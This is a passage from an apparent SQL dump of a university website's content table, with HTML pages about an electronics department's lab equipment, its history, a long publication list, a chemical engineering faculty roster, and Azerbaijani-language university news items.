POWER\r\nSUPPLY (0+-30V, 3A)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\"><img width=\"340\" height=\"255\" src=\"/files/radio_depart/1.png\" v:shapes=\"_x0000_i1026\" style=\"width: 340px; height: 255px; margin: 7px; float: left;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\">&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\">&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\"><br></p><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\"><br></p><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\"><br></p><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\"><br></p><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">GES-200 </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">WIND ENERGY TRAINER\r\n(INCLUDING GES-28001 TO GES-28004, GES-23001, GES-23003 DAQ FOR WINDOWS\r\n7/VISTA/XP/2000, GES-29001 ACCESSORIES INCLUDE GES-28005, AND GES-29002\r\nPROTECTION COVER )</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\"><img width=\"340\" height=\"255\" src=\"/files/radio_depart/2.jpg\" v:shapes=\"_x0000_i1027\" style=\"width: 340px; height: 255px; margin: 7px;\"></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">&nbsp;GES-300</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">H2 / O2 FUEL CELL TRAINER\r\n(INCLUDING GES-31001, GES-33001, ACCESSORIES GES-39001 AND DAQ GES-13003)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\"><img width=\"340\" height=\"256\" src=\"/files/radio_depart/3.jpg\" v:shapes=\"_x0000_i1025\" style=\"width: 340px; height: 256px; margin: 7px;\">&nbsp; &nbsp;</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;KL-310</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">ADVANCED DIGITAL LOGIC LAB\r\n(INCLUDING MAIN UNIT KL-32001, MODULES KL-34001 TO KL-340011 AND ACCESSORIES KL-39001\r\n(WITH USB BLASTER FOR KL-34011)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><img width=\"255\" height=\"340\" src=\"/files/radio_depart/4.jpg\" v:shapes=\"_x0000_i1028\" style=\"width: 255px; height: 340px; margin: 7px;\">&nbsp; </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">&nbsp;KL-600</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">MICROCOMPUTER SENSING\r\nCONTROL SYSTEM (INCLUDING KL-61001A, KL-63001 TO KL-63017, KL-68001 TO KL-68009\r\n&amp; KL-68011, LP-520D LOGIC PROBE AND DPS-1303AP DUAL DC POWER SUPPLY)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><img width=\"255\" height=\"340\" src=\"/files/radio_depart/5.jpg\" v:shapes=\"_x0000_i1029\" style=\"width: 255px; height: 340px; margin: 7px;\"></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">CIC-500</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">DSP DEVELOPMENT AND\r\nEXPERIMENT SYSTEM -COMPLETE VERSION PACKAGE (INCLUDING CIC-520, CI-51001,\r\nOPTION MODULES CI-53001 TO CI-53004, CI-53006, SOFTWARE, ACCESSORIES AND XDS510\r\nUSB)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><img width=\"340\" height=\"255\" src=\"/files/radio_depart/6.jpg\" v:shapes=\"_x0000_i1030\" style=\"width: 340px; height: 255px; margin: 7px;\">&nbsp; </p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;PLC-200</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">PROGRAMMABLE LOGIC\r\nCONTROLLER (SIEMENS PLC) TRAINER WITH SOFTWARE AND CABLE AND RUSSIAN MANUAL</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">&nbsp;<img width=\"340\" height=\"255\" src=\"/files/radio_depart/7.jpg\" v:shapes=\"_x0000_i1031\" style=\"width: 340px; height: 255px; margin: 7px;\"></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;</p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>• GENERAL PHYSICS LAB<o:p></o:p></strong></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;1)&nbsp;Electromagnetic Induction and Faraday’s Law.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">2)&nbsp;Magnetic Field of a Solenoid</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">3)&nbsp;AC Circuits with AC Source</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">4)&nbsp;Hall effect</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">5)&nbsp;Sound Amplifiers</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify;text-indent:-18.0pt\"=\"\">6) Photoelectric effect</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">&nbsp;&nbsp;<img src=\"/files/radio_depart/41.jpg\" style=\"width:500px;height:375px;margin-left:7px;margin-top:7px;margin-right:7px\">&nbsp;<img src=\"/files/radio_depart/42.jpg\" style=\"width:500px;height:375px;margin:7px\"></p>  \r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>• SOLAR CAR </strong></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;A\r\ngroup of students in the electronics department prepared a mini solar car with\r\na power of 60 watts.</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img width=\"340\" height=\"227\" src=\"/files/radio_depart/9.png\" v:shapes=\"Рисунок_x0020_10\" style=\"width: 340px; height: 227px; margin: 7px;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p></div>  <br></div>'),(467,301,'en','History','','<p>The Department of Electronics and Telecommunications  was established in 2010. The curriculum in Electronics, Telecommunications and Radio Engineering is planned to provide a sound professional education for the students. After completing courses in basic sciences, students are offered major courses. Practical experience is required for the degree and accordingly, students are required to undertake summer practice. Elective courses are offered to enable the students to advance their knowledge in specific fields. </p>'),(4781,2844,'az','Universitetin əməkdaşları Şəki və Qaxda oldular','2018-ci il yanvarın 12-si və 13-də Xəzər Universitetinin Potensial tələbələr üzrə işçi qrupun koordinatoru Fuat Rəsulov, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli...','<p>2018-ci il yanvarın 12-si və 13-də Xəzər Universitetinin Potensial tələbələr üzrə işçi qrupun koordinatoru Fuat Rəsulov, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli və Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov Şəki və Qax şəhərlərinə səfərdə oldular. Səfər zamanı həmin şəhərlərdə yerləşən müxtəlif orta məktəblər və hazırlıq kurslarının yuxarı sinif şagirdləri, onların valideynləri və müəllimləri ilə görüşlər keçirildi, Xəzər Universiteti və burada kadr hazırlığı aparılan ixtisaslar haqqında geniş məlumat verildi, videoçarx nümayiş etdirildi və iştirakçıların sualları cavablandırıldı. Görüş zamanı növbəti il Şəki və Qax şəhərlərində təhsil alan yuxarı sinif şagirdləri, onların valideynləri və müəllimləri ilə universitet rəhbərliyinin görüşlərinin təşkil edilməsi qərara alındı.</p>'),(468,302,'en','Publications','','<p><span style=\"font-size:large\"><strong>Scientific publications:</strong></span></p><p></p><ol><li>Ahmad Valiyev, Etibar Rzazadeh, Nuru Safarov, Samira Cafarova. Alternative - Renewable Energy Complex on the University Base.&nbsp;American Journal of Embedded System and Applications. Vol. 5, No. 5, 2017, pp.39-43.  doi: 10.11648/j.ajesa.20170505.12.&nbsp;http://www.sciencepublishinggroup.com/journal/paperinfo?journalid=236&amp;doi=10.11648/j.ajesa.20170505.12  <br></li><li>R.&nbsp;J.Kasumova, Z.H.Tagiyev, Sh. Sh. Amirov, Sh.A. Shamilova,&nbsp;G. A. Safarova. Phase effects of the parametric interaction in metamaterials.&nbsp;&nbsp; Journal of Russian Laser Research, Volume 38, Number 4, July, 2017, p. 349 - 356 .&nbsp;DOI 10.1007/s10946-017-9652-6 .&nbsp;&nbsp;https://link.springer.com/article/10.1007/s10946-017-9652-6&nbsp;<br></li><li>N. A. Safarov, F.N. Tatardar, S. S. Amirov. The hybride composites based new materials for the&nbsp;Electromechanical and acoustico-electrical converters.Journal of non-oxide glasses vol. 9, no 1, 2017, p. 19 - 23&nbsp;http://www.chalcogen.ro/19_SafarovNA.pdf&nbsp;<br></li><li>S.N. Garibova, &nbsp;S.I. Mekhtiyeva, M.A. Ramazanov. Investigation of luminescence and photoconductivity spectra of Se – As calcogenide glass-like semiconductor system doped by EuF<sub>3</sub>. Azərbaycan MEA, AJP Fizika Jurnalı, № 2, &nbsp;2017, pp.8-10 .&nbsp;http://physics.gov.az/Dom/2017/AJP_Fizika_02_2017_en.pdf&nbsp;<br></li><li>Фефелов С.А., Казакова Л.П., Богословский Н.А., Цендин К.Д., Гарибова С.Н., Мехтиева С.И., Исаев А.И., Алекперов Р.И. Особенности проводимости возникающие при эффекте переключения в тонких пленках халькогенидов системы Ge-Sb-Te. Физика диелектриков. Материалы XIV Международной конференции, Санкт-Петербург, 29мая – 2 июня 2017г.,стр.335-337, 3.&nbsp;<br></li><li>S.N. Garibova, S.I. Mekhtiyeva, A.S. Huseynova, M.A. Ramazanov. Influence of EuF3 impurity on luminescence and photoconductivity spectra of Se-As chalcogenide glass-like semiconductor system.Chalcogenide Letters. Vol. 14, No. 6, June 2017, p. 223 - 226&nbsp;http://www.chalcogen.ro/223_GaribovaS.pdf&nbsp;<br></li><li>E. Nakhmedov,&nbsp; O. Alekperov, F. Tatardar, Yu. M. Shukrinov, I. Rahmonov, K. Sengupta. Effect of magnetic field and Rashba spin-orbit interaction on the Josephson tunneling between superconducting nanowires. PHYSICAL REVIEW B 96, 014519 (2017) p.1-15. DOI: 10.1103/PhysRevB.96.01451&nbsp;&nbsp;https://journals.aps.org/prb/abstract/10.1103/PhysRevB.96.014519</li><li>N. Safarov,&nbsp; N. Haydarova. System Monitoring of the Emotional State of Students in High School. American Journal of Data Mining and Knowledge Discovery.&nbsp; Vol. 2, No. 3, 2017, pp. 76-79. doi:10.11648/j.ajdmkd.20170203.11, 4.&nbsp;http://article.sciencepublishinggroup.com/pdf/10.11648.j.ajdmkd.20170203.11.pdf&nbsp;<br></li><li style=\"text-align:justify\">Nuru Safarov. Polymer - Silicon Sensor for Determination Flow. Global Journal of Engineering Science and Research Management.&nbsp;3(9): September, 2016, p.19-21/&nbsp;DOI: 10.5281/zenodo.62006,&nbsp;&nbsp;http://www.gjesrm.com/Issues%20PDF/Archive-2016/September-2016/3.pdf&nbsp;<br></li><li>Nuru Səfərov. Şüa konsentratorunda materiallarin istiliyə dözümlülü. Maşınqayırmada intellektual texnologiyalar. Beynəlxalq elmi-texniki konfrans. 28-30 sentyabr 2016., 3.&nbsp;<br></li><li>S.F.Humbatova, Sh.Z.Tapdigov, S.M.Mammadova, N.A.Safarov, D.B.Tagiyev, N.A.Zeynalov. Synthesis Of Silver Nanoparticles In Different Polymers Environment. Azərbaycan Kimya Jurnali&nbsp; &nbsp;№&nbsp; 4&nbsp; 2016, s. 6-10.&nbsp;<br></li><li>Rena J.Kasumova, S. R. Figarova, Sh. Sh. Amirov, G. A. Safarova, N. N. Heydarov. On Influence of Temperature and Doped Concentrations on the Frequency Conversion Efficiency in Erbium-Doped Zinc Oxide Films. American Journal of Optics and Photonics. Vol. 4, No. 6, 2016, pp. 57-63. doi: 10.11648/j.ajop.20160406.11,&nbsp;http://article.sciencepublishinggroup.com/pdf/10.11648.j.ajop.20160406.11.pdf</li><li>Short-wave photosensivity in the irradiated silicon photoconverters with optical coverings. Habarlar, ANAS, 2005, №5, p.51-55Study of the recovery time of the micro-pixel avalanche photodiodes.&nbsp; Fizika 2012, c.XVIII, N1, p.10-12&nbsp;<br></li><li>Study of the recovery time of the micro-pixel avalanche photodiodes.&nbsp; Fizika 2012, c.XVIII, N1, p.10-12&nbsp;<br></li><li>Исследование влияния альфа частиц с энергией 4,8Mэв на физические свойства микропиксельных лавинных фотодиодов. Elmi mecmueler 2012. C.14, N1, c.12-14&nbsp;<br></li><li>Conductivity photoquenching effect in polymer–ferrocene composites. Semiconductors, ISSN: 1063-7826, Vol: 45, Issue: 4, Date: 2011-04-01, Start page: 503, # of pages: 7</li><li>Y-Radiation Stimulated Structural Transition of Monoclinic TlInS2 to Hexagonal Phase. Japanese Journal of Applied Physics, ISSN: 0021-4922, Vol: 50, Issue: 5, Date: 2011</li><li>Controlling system for emotional state of working personnel. 7th&nbsp;international conference on TPE (ICTPE-2011), Lefkosa, TR Northern Cyprus, 7-9 July, p.553-555.&nbsp; 2011</li><li>Automated system for control and correction functional state of human. 5th&nbsp;international conference on Application of Information and Communication Technologies, 12-14October 2011, Baku, Azerbaijan, 208-210</li><li>Correlation of the optical properties with ε(T)- dependence at ferroelectric phase transition in TlInS2&nbsp;doped with different impurities. 17th&nbsp;International Conference on Ternary and Multinary Compounds 27-30September, 2010, Baku, p.63</li><li>A new avalanche photodiode with wide linearity range. J. Physics NAS, vol. XVI,Number 2, pp.367-369, 2010</li><li>Effect of electrical photo guenchinq in polymer – ferrocene. J. Physics NAS, vol. XVI,Number 2, pp.378-380, 2010</li><li>Independent photoelectric installation with thermodynamic observation the sun. 10-th Baku Intern. Congress “Energy, Ecology, Economy”, 23-25 September, Baku, 2009, p.91-93</li><li>Performance of new micro-pixel avalanche photodiodes from Zecotek Photonics. Nuclear Instruments and Methods in Physics Research A, 610 (2009) 381-383</li><li>Method for increasing conversion efficiency of solar energy into electric power and a device for carrying out said method.Patent. WO/2009/105840</li><li>Investigation of si-sio2/obligo-β-naphthol/metal heterostructures. Scientific Israel - Technological Advantages, vol 11, No 1: Material Engineering, 2009. p. 9-14&nbsp;</li><li>Basic construction for solar power plants. 10-th Baku Intern. Congress “Energy, Ecology, Economy”, 23-25 September, Baku, 2009, p.93-96</li><li>Application nanotechnologies for increase of efficiency of a solar photocell.&nbsp;Ecoenergetika, #1, 2009, p.39-42</li><li>Hybrid organic – silicon nano-composite devises and risk assessment of&nbsp; nanobiotechnologies. Abstracts Book. NATO&nbsp; ARW 2008, Environmental and Biological Risks of Nanobiotechnology, Nanobionics and Hybrid Organic-Silicon Nanodevices (Silicon vs Carbon), Saint-Petersburg, Russia</li><li>Photogeneration processes in semiconductive polymeric gamma detectors.V Eurasian Conference “Nuclear science and its application”, 2008, Ankara, Turkey</li><li>Synthesis of quantum dots and mesoporouse of TiO for solar cells. J. Physics NAS, v.XIV, #3, pp.154-157, 2008.</li><li>Solar concentrator Patent. Patent N 2008, 0041, 07.03.2008 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</li><li>Automatic photoelectric device for most optimum illumination of objects. ICCES, vol.086, #1, p.1-6, 2008</li><li>Investigation of photogeneration processes in semiconductive polymers. Fizika, 2008, v.XIV, #1, p.10-13</li><li>Electric and luminescent properties of radiation detection materials CdTe:Cl. Proceeding of the 9-th Baku Intern. Congress “Energy, Ecology, Economy”, Baku, 2007, p.283-286</li><li>Thermophotovoltaic properties of Bi2Te3 and Bi2Se3. Fizika, 2007, v.XIII, #4, Baku, p.156-158</li><li>Matrix sensor of stream on the bases of composite materials. International Conference on Computational and Experimental Engineering and Science, Jour. ICCES, vol.1, #1, pp.1-5, 2007</li><li>Polymer matrix sensors. Book of Abstracts. The 3-rd International Congress of Nanotechnology 2006, October 30 – November 2, San Francisco, USA</li><li>A solar power plant with high performance solar cells and thin concentrators made of Al-backed epoxy coated polymers. 3rd Int. Conf. on Tech. and Phys. Prob. in Power Engin, May 29-31, 2006 Ankara, Turkey, p.1037-1039&nbsp;<br></li><li>Serial resistance of the solar converter on the basis of silicon working at the concentrated radiation. 3rd Intern. Conf. on Technical and Physical Problems in Power Engineering, May 29-31, 2006 Ankara, Turkey, p.1070-1071&nbsp;<br></li><li>Thermophotovoltaic solar energy converters on the basis AVBVI. 2006 IEEE 4th World conf. on Photovoltaic Energy Conversion, 7-12 May 2006, Hawaii, USA. Poster Session I-Conc. PV and TPV, #164.&nbsp;<br></li><li>A solar power plant with high performance solar cells and thin concentrators. Inter.Conf. “Renewable Energy –2006”, Makuhari Messe Chiba, Japan, 2006, sr043H00094</li><li>Gamma radiation detectors on the base CdTe for environmental monitoring. Book of abstracts. The 4-th Eurasian Conference on Nuclear Science and its Application, 2006, Baku. Pp. 189-190</li><li>Matrix composite sensor for measurement mere stream, J.Physics NAS, 2006, v.12, #1-2, p.38-40. Baku</li><li>Measurement heat stream in mere by the matrix sensor. Proc. US/EU –Baltic International Symposium “Integrated ocean observation systems for managing global and regional ecosystems using marine research, monitoring and technologies” 2006,4F, #147, May 23-24, Klaipeda, Lithuania</li><li>Thermophotovoltaic converters on the basis AvBvi for high concentration solar applications &nbsp;International Scientific Journal for Alternative Energy and Ecology, Russian,&nbsp; №5(37) (2006) р. 85-87</li><li>Monitoring of intensity of electromagnetic radiation.3rd&nbsp;Int.Conference on Technical and Physical Problems in Power Engineering, May 29-31, 2006 Ankara, Turkey, p.687-689</li><li>Devices self-steering of electrical circuit. Patent. I 2005 0059, № а20030081, 25. 04. 2005</li><li>Effect of temperature processing on generative time of life of the bearers in detectors of nuclear particles on the basis of high-ohmic&nbsp; silicon,&nbsp; Inter. Conf. “Fizika-2005”,&nbsp; 7-9 June 2005 – Baku, Azerbaijan,&nbsp; p. 827-829</li><li>A new&nbsp; low-noise avalanche photodiode with micro-pixel structure, Fizika,&nbsp; №4,&nbsp; 2004, p.126-127 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</li><li>Structural change SiO2&nbsp;used in multilayered silicon solar elements. &nbsp;Ecoenergetics,&nbsp; №2,&nbsp; 2004,&nbsp; с. 26-27</li><li>Using magnetic field in cooling systems of solar photoelectric sets 2nd&nbsp;International Conference on Technical and Physical Problems in Power Engineering 6-8 September 2004 Tabriz p.779-780</li><li>Short-wave photosensivity&nbsp; in the irradiated silicon photoconverters with optical coverings 2nd&nbsp;Inter. Conf. on Technical and Physical Problems in Power Engineering 6-8 September 2004 Tabriz-Iran, p. 810-812&nbsp;</li><li>New cationo-active oligomeric electrolytes based on epichlorohydrin and amines XVIII. Ulusal Kimya Kongresi, Kars, 5-9 temmuz 2004,&nbsp; p.1061</li><li>About a possibility of usage of a magnetic field in refrigerating systems of a&nbsp; solar photoelectric system. Power engineering, ecology, 2st Intern.scien. and techn. conference, 8-11 Sept. 2004, Tobolsk, Russian, 1, p..237-239</li><li>Features of application of photoelectric modules in mountain conditions of Azerbaijan, Power engineering, ecology, 2st International conference, 8-11 September 2004, Tobolsk, Russian,&nbsp; 1, p.234-236</li><li>The influences of the surface effects on the mechanisms of the current passage in the silicon photo elements with optical coverings. Journal of Physics, 2, p.15-17 (2003)</li><li>Calculation method and results of electricity production by solar photoelectrical devices for the Azerbaijan climatic regions and zones. Journal “Power engineering problems” 1, p.20-27 (2003),</li><li>Influence of radiation on photo-electric characteristics of&nbsp; silicon photo cells with optical coverings, 4-th Inter. Conf.\" Nuclear and radiative physics \" Alma-ate, Republic of Kazakhstan 15-17 september 2003, р.195-196</li><li>Surface effects in silicon solar elements, First International Conference on Technical &amp; Physical Problems in Power Engineering, 23-25 April 2002 Baku-Azerbaijan, p. 439-441</li><li>The photoelectric and radiative characteristics of silicon photovoltaic converters with double-ended sensitivity, Problem of a power engineering, &nbsp;2000, №2, p.86-91</li><li>Effect of direction of a beam coupling on velocity of a degradation of parameters of silicon solar elements, &nbsp;Geliotechnica, 1994, №6,</li><li>A research of the effect of the expedited electrons on CuО2, used in Si elements,Geliotechnica,1994, №3,p.11-13</li><li>Silicon solar elements with covering Nd2O3&nbsp;and ZnS + Nd2O3. Journal of Solar Engineering, 1994, 1, p.14-16</li><li>Some features of silicon solar elements with double-ended sensitivity, Geliotechnica, 1993,&nbsp; №6, 13</li><li>Silicon solar elements with covering SiO3&nbsp;and&nbsp; Si3N5.&nbsp;Journal of Solar Engineering, 1993, 1, p.75-77</li><li>Silicon solar elements with covering Ta2O3.&nbsp;Journal of Solar Engineering, 1992, 5, p.11-13</li></ol><p></p> <p><br></p> <p><br></p>'),(469,303,'en','Syllabus 2016','',''),(470,304,'en','Faculty and Staff','Faculty and Staff','<p><strong><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\"><img src=\"/files/engineering/images/Rasul_Muradi.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Rasoul Moradi</a>&nbsp;</strong></p><p><strong>Coordinator of Chemical Engineering and Chemistry&nbsp;Department</strong></p><p>PhD&nbsp;in Chemical Engineering (University of Tehran, Iran) \r\n  <br></p><p>MS&nbsp;in Chemical Engineering (Sharif University of Technology, Iran)  <br></p><p><strong>E-mail</strong><strong>:&nbsp;</strong><a href=\"mailto:rmoradi@khazar.org\">rmoradi[at]khazar.org</a>  <br></p><p><strong>Phone</strong>:&nbsp;(+994 12) 421 6335 (278)</p><hr><img src=\"/files/engineering/images/Hassan_Niknafs2.jpg\" style=\"width:150px;height:202px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Hassan%20Niknafs.pdf\">Hassan Niknafs</a></strong> <strong>- Professor</strong></p><p>PhD&nbsp;in Computational Fluid Dynamics (The University of Akron, Ohio, USA)</p>  <p>MS&nbsp;in Mechanical Engineering&nbsp;(Youngstown State University, Ohio, USA)  <br></p><p>BS, MS in Chemical Engineering (Shiraz University, former Pahlavi University, Shiraz, Iran)<br></p><p style=\"padding-left:160px\"><strong>E-mail</strong><strong>:&nbsp;</strong><a href=\"mailto:rmoradi@khazar.org\"></a><a href=\"mailto:hniknafs@khazar.org\">hniknafs[at]khazar.org</a>   <br></p><p><br></p><hr><strong><img src=\"/files/engineering/images/Monday_O.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"></strong><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Monday_O_Michael.pdf\">Monday Obekpa</a></strong></p><p>PhD&nbsp;candidate&nbsp;in Petroleum Engineering (Khazar University,\r\nAzerbaijan)</p><p>MS&nbsp;in Subsea Engineering (University of Aberdeen, United Kingdom)&nbsp; <br></p><p>MS&nbsp;in Advanced Chemical Engineering with Information Technology and Management  (Loughborough University, United Kingdom)<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:monday.obekpa@khazar.org\">monday.obekpa[at]khazar.org</a>   <br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Masoud%20Mehrizadeh.pdf\">Masoud Mehrizadeh</a></strong><strong><img src=\"http://www.khazar.org/files/petroleum_depart/MasoudMehrizadeh1.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p>\r\n<p>PhD&nbsp;candidate&nbsp;in Petroleum Engineering (Khazar University,\r\nAzerbaijan) </p>\r\n<p>MS&nbsp;in Reservoir Engineering   (Sharif University of Technology, Iran)<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:mmehrizadeh@khazar.org\">mmehrizadeh[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><hr><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Adil_Abbasov.pdf\"><img src=\"/files/engineering/images/Adil_Abbasov.JPG\" style=\"width:150px;height:182px;margin:7px;float:left\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_2017_Adil%20Abbasov.pdf\">Adil Abbasov</a></strong>&nbsp;</p><p>MS&nbsp;in Chemical Process Engineering (French Institute of Petroleum, Rueil-Malmaison, France) &nbsp;</p>  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:adil.abbasov@khazar.org\">adil.abbasov[at]khazar.org</a>   </p><p><br></p><p><br></p><p><br></p><hr><p><img src=\"/files/letters/Mehdi_Farrokhi.jpg\" style=\"width:150px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mehdi%20Farrokhi%202017.pdf\"><strong>Mehdi Farrokhi</strong></a></p><p>MS&nbsp;in Chemical Process Engineering (Tehran University, Iran)</p>\r\n<p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:mehdi.farrokhy@gmail.com\">mehdi.farrokhy[at]gmail.com</a>  </p><p><br></p><p><br></p><p><br></p><hr><p><img src=\"/files/engineering/images/Kanan_Shikhaliyev.JPG\" style=\"width:150px;height:187px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_Kanan%20Shikhaliyev.pdf\">Kanan Shikhaliyev</a>&nbsp;</strong></p><p>MS&nbsp;in  Chemical Engineering (Science University of Malaysia,  Malaysia)<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:kshikhaliyev@khazar.org\">kshikhaliyev[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><hr><p><img src=\"/files/letters/Shirin_Mammadova.JPG\" style=\"float:left;width:150px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Shirin_Mammadova.pdf\">Shirin Mammadova</a></strong><br></p><p>MS in Chemistry (Baku State University, Azerbaijan)</p>  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:shirin.mammadova@khazar.org\">shirin.mammadova[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p>\r\n<hr> <p><strong><a href=\"http://www.khazar.org/files/engineering/CV_Nazila_Pour_Khalili.pdf\"><img src=\"/files/engineering/images/Nazila__Pour_Khalili.jpg\" style=\"float:left;width:150px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nazila&nbsp;Pour Khalili</a></strong></p><p>Doctor of Pharmacy (PharmD) (School of Pharmacy, Iran)</p><p>\r\nPhD candidate in Biochemistry (Khazar University, Azerbaijan)<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:N.Pourkhalili@khazar.org\">N.Pourkhalili[at]khazar.org</a></p><p><br></p><p><br></p>'),(3187,1877,'az','Professor Hamlet İsaxanlı Statistika Komitəsinin iclasında iştirak etdi','2017-ci il fevralın 8-də Dövlət Statistika Komitəsində beynəlxalq ekspertlər qrupu ilə Statistika Şurasının üzvlərinin görüşü keçirildi.Xəzər Universitetinin təsisçisi, Direktorlar...','<p style=\"\" 